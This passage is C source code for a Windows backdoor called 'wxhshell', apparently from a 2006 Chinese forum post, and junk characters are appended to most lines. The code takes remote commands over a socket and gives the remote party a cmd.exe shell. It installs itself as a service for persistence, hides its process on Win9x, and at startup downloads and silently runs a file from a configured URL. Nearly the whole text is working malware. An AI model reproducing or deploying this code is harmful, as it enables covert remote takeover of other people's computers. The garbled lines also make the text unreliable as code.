  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qwTz7r  
  } {UiSa'TR1b  
  else { .i0K-B  
;(Yb9Mr)z  
    switch(cmd[0]) { _nGx[1G( 5  
  o3WOp80hz  
  // 帮助 >w,L=z=  
  case '?': { ]8G 'R-8}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); dSI"yz  
    break; b?wrOS  
  } _H]\  
  // 安装 62xOh\(  
  case 'i': { ':4cQ4Z  
    if(Install()) GwWK'F'2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5eAZfe%H  
    else n Ja!&G&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BR|!ya+_2  
    break; g)Z8WH$;H3  
    } X$};K \I  
  // 卸载 y<`5  
  case 'r': { pwSgFc$z  
    if(Uninstall()) RB>=#03  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D?Oe";"/  
    else f\&X$g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J"gMm@#C4  
    break; ]3r}>/2(  
    } Bc>j5^)8w  
  // 显示 wxhshell 所在路径 $q!A1Fgk0  
  case 'p': { oZ{,IZ45  
    char svExeFile[MAX_PATH]; _{|a<Keq|  
    strcpy(svExeFile,"\n\r"); vG|!d+  
      strcat(svExeFile,ExeFile); :s)cTq|3  
        send(wsh,svExeFile,strlen(svExeFile),0); KpN]9d   
    break; N2:Hdu :  
    } #.8v[TkKq  
  // 重启 NKY|Z\  
  case 'b': { Qt u;_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); qI'pjTMDY  
    if(Boot(REBOOT))  %:26v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <Bo\a3Z  
    else { gUiO66#x  
    closesocket(wsh); lHiWzt u  
    ExitThread(0); Y S3~sA  
    } , ['}9:f9  
    break; i)l0[FNI}  
    } bH+NRNI]  
  // 关机 5OM #_.p  
  case 'd': { :'h$]p%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  }$oS /bo  
    if(Boot(SHUTDOWN)) <B@NSj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K6{wM  
    else { = gF035  
    closesocket(wsh); %oBP6|e  
    ExitThread(0); "#)|WVa=BM  
    } }u#3hYa  
    break; RvG=GJJ9  
    } ss-W[|cHU  
  // 获取shell '2X$. ^aW  
  case 's': { !'_7MM  
    CmdShell(wsh); QC'Ru'8S  
    closesocket(wsh); #cQ5-R -1  
    ExitThread(0); @ ]u@e4T  
    break; yPE3Awh5  
  } 2l?^\9&  
  // 退出 }NDl~5  
  case 'x': { !-MY< '  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ti61&)(  
    CloseIt(wsh); a!R*O3  
    break; gWgp:;Me  
    } WIU]>_$.  
  // 离开 :]:)c8!6  
  case 'q': { rC@VMe|0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); D%+yp  
    closesocket(wsh); `h'+4  
    WSACleanup(); ?Uq"zq  
    exit(1); g$]WKy(D  
    break; =r+K2]z,L  
        } uD/@d'd_4L  
  } g}!{_z  
  } 3qTr|8`s  
xHt7/8wF  
  // 提示信息 W=HvMD  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e^lX|L>o  
} Ma!  
  } OxDq LX  
j7)mC4o:%  
  return; ' pgP QM<  
} ='jT 5Mg  
MWme3u)D  
// shell模块句柄 wU|@fm"  
int CmdShell(SOCKET sock) LxIGPC~  
{ (rFiHv5  
STARTUPINFO si; %|e)s_%XE  
ZeroMemory(&si,sizeof(si)); gy@=)R/~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; f I=G>[  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |&"aZ!Kn  
PROCESS_INFORMATION ProcessInfo; -$"$r ~ad  
char cmdline[]="cmd"; ^'[QCwY~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |K_%]1*riC  
  return 0; PS" rXaY  
} T/E=?kBR  
M~\dvJ$cH  
// 自身启动模式 5IUdA?  
int StartFromService(void) !#pc@(rE  
{ =s!0EwDH3  
typedef struct +rU{-`dy9'  
{ mDK*LL5]W  
  DWORD ExitStatus; .^*;hZ~4%  
  DWORD PebBaseAddress; k Nc- @B  
  DWORD AffinityMask; @]q^O MLY  
  DWORD BasePriority; F oC $X  
  ULONG UniqueProcessId; C*ep8{B  
  ULONG InheritedFromUniqueProcessId; kr+p&|.  
}   PROCESS_BASIC_INFORMATION; VOD-< "|  
n4!RGq.}  
PROCNTQSIP NtQueryInformationProcess; 4_5f4%S  
"<+~uz  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; f|VCibI  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +# 'w} P  
aC`>~uX##V  
  HANDLE             hProcess; F/ZFO5C%  
  PROCESS_BASIC_INFORMATION pbi; o3hgkoF   
{,JO}Dmu5  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =s":Mx,o  
  if(NULL == hInst ) return 0; ld ]*J}cw  
Y f!Oo  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <4.Exha;=  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); QNOdt2NN  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ss%,  
>I\B_q  
  if (!NtQueryInformationProcess) return 0; VA[EY`8  
2|^@=.4\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); H;4QuB'^  
  if(!hProcess) return 0; iGSJ\  
uCr& `  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #dae^UjM  
d~qQ_2M[G  
  CloseHandle(hProcess); =_#b .8K  
_ cQ '3@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); pZ'q_Oux  
if(hProcess==NULL) return 0; KxK,en4)+  
Op-z"inw  
HMODULE hMod; uX1;  
char procName[255]; ,5v'hG  
unsigned long cbNeeded; Qz(2Iu{E]  
ywJ [WfCY  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8^}/T#l  
?d3K:|g  
  CloseHandle(hProcess); Cd)g8<  
I :<,9.   
if(strstr(procName,"services")) return 1; // 以服务启动 Uo >aQk  
:rU.5(,  
  return 0; // 注册表启动 }y6@YfV${  
} c ^ds|7i]a  
 q6F1Rt  
// 主模块 LH(P<k&  
int StartWxhshell(LPSTR lpCmdLine) FTCIfW  
{ aC[G_ACwc  
  SOCKET wsl; Y:;_R=M  
BOOL val=TRUE; se %#U40*  
  int port=0; L@GICW~  
  struct sockaddr_in door; uX_#NP/2  
v_5qE  
  if(wscfg.ws_autoins) Install(); x t-s"A  
b5)^g+8)w  
port=atoi(lpCmdLine); U\lbh;9G  
>hNSEWMY`  
if(port<=0) port=wscfg.ws_port; 6d]4 %QT  
G,!jP2S  
  WSADATA data; ;)FvTm'"\.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :bct+J}l~  
&*OwoTgk+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   w3,KqF  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); I%r7L  
  door.sin_family = AF_INET; }PK4 KRn  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5z0Sns  
  door.sin_port = htons(port); ivgX o'=  
\;Q(o$5<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { n R,QG8  
closesocket(wsl); [8za=B/  
return 1; 1R8tR#l  
} :epBd3f  
U>*@VOgB  
  if(listen(wsl,2) == INVALID_SOCKET) { sZ=!*tb-  
closesocket(wsl); OE(y$+L3_I  
return 1; &'12,'8  
} 1R@G7m  
  Wxhshell(wsl); u_WUJ_  
  WSACleanup(); xMk>r1Ud  
 dHx4yFS  
return 0; ^Ak?2,xB#+  
uB"B{:Kz  
} t8RtJ2;  
v+x<X5u  
// 以NT服务方式启动 bJMsB|r  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ).jQ+XE'>  
{ !q$VnqFk  
DWORD   status = 0; Y`22DFO  
  DWORD   specificError = 0xfffffff; %G(VYCeK  
,$t1LV;o=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; olQP>sa  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !j7mY9x+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; rEp\ld  
  serviceStatus.dwWin32ExitCode     = 0; 02EX_tt),  
  serviceStatus.dwServiceSpecificExitCode = 0; )kjQ W&)g  
  serviceStatus.dwCheckPoint       = 0; L=;T$4+p  
  serviceStatus.dwWaitHint       = 0; 0B 1nk!F  
2|?U%YrHWs  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~c v|,  
  if (hServiceStatusHandle==0) return; =C$"e4%Be  
"a;$uW@.6  
status = GetLastError(); kJB:=iq/x$  
  if (status!=NO_ERROR) +(x(Ybl#  
{ nt_Cb*K<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~ 1TT?H  
    serviceStatus.dwCheckPoint       = 0; b&E"r*i|  
    serviceStatus.dwWaitHint       = 0; Heqr1btK  
    serviceStatus.dwWin32ExitCode     = status; U&(gNuR>J  
    serviceStatus.dwServiceSpecificExitCode = specificError; yT<"?S>D  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,^ ,R .T  
    return; @P0rNO %y  
  } hB<(~L? A]  
%Qj$@.*:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; v" #8^q  
  serviceStatus.dwCheckPoint       = 0; KgYQxEbIW  
  serviceStatus.dwWaitHint       = 0; hyPS 6Y'1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); roriNr/ e  
} 21<Sfsc$  
@ukL! AV?Y  
// 处理NT服务事件,比如:启动、停止 ;L76V$&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) WllQM,h  
{ lhE]KdE3  
switch(fdwControl) &N7q 9t  
{ 8rJf2zL  
case SERVICE_CONTROL_STOP: pdN8 hJ  
  serviceStatus.dwWin32ExitCode = 0; j?tE#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; R'F\9eyA  
  serviceStatus.dwCheckPoint   = 0; iX2exJto  
  serviceStatus.dwWaitHint     = 0; D?xR>Oo)  
  { g|^U?|;p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ae3 Gn }tf  
  } &!:mL],  
  return; Zl# ';~9W  
case SERVICE_CONTROL_PAUSE: YJz06E1 -9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,3G B9  
  break; 6L~5qbQ  
case SERVICE_CONTROL_CONTINUE: RK&RMN8@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,Cm1~ExJ  
  break; ZZ}HgPZ  
case SERVICE_CONTROL_INTERROGATE: l:~ >P[  
  break; OWr\$lm@z$  
}; B&!>& Rbx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6ypHH 2X  
} .db:mSrL  
[ p0_I7  
// 标准应用程序主函数 \,nhGh  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^5!"[RB\  
{ HN;f~EQT  
2xy{g&G  
// 获取操作系统版本 =td(}3|D Y  
OsIsNt=GetOsVer(); 2jQ?-/Q8#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?$\sMkn  
R6GlQ G  
  // 从命令行安装 F CfU=4O  
  if(strpbrk(lpCmdLine,"iI")) Install(); Cw.DLg  
|BbrB[+ v[  
  // 下载执行文件 >Zm|R|{BE  
if(wscfg.ws_downexe) { }&Xf<6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;,KT+!H$  
  WinExec(wscfg.ws_filenam,SW_HIDE); u]3VK  
} q"g4fzCD  
aHle s5   
if(!OsIsNt) { 1$yS Ii  
// 如果时win9x,隐藏进程并且设置为注册表启动 Co<F<eXe  
HideProc(); lz#@_F|.*  
StartWxhshell(lpCmdLine); unN*L  
} &:C(,`~  
else t .XuH#  
  if(StartFromService()) n3hlo@gYW  
  // 以服务方式启动 ;ejtP #$  
  StartServiceCtrlDispatcher(DispatchTable); i[e-dT:*R  
else F B&l|#e  
  // 普通方式启动 ot^$/(W  
  StartWxhshell(lpCmdLine); =~$)Ieu  
!V0)eC50  
return 0; v`"BXSmp{  
}
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只看该作者 1 发表于: 2006-10-10
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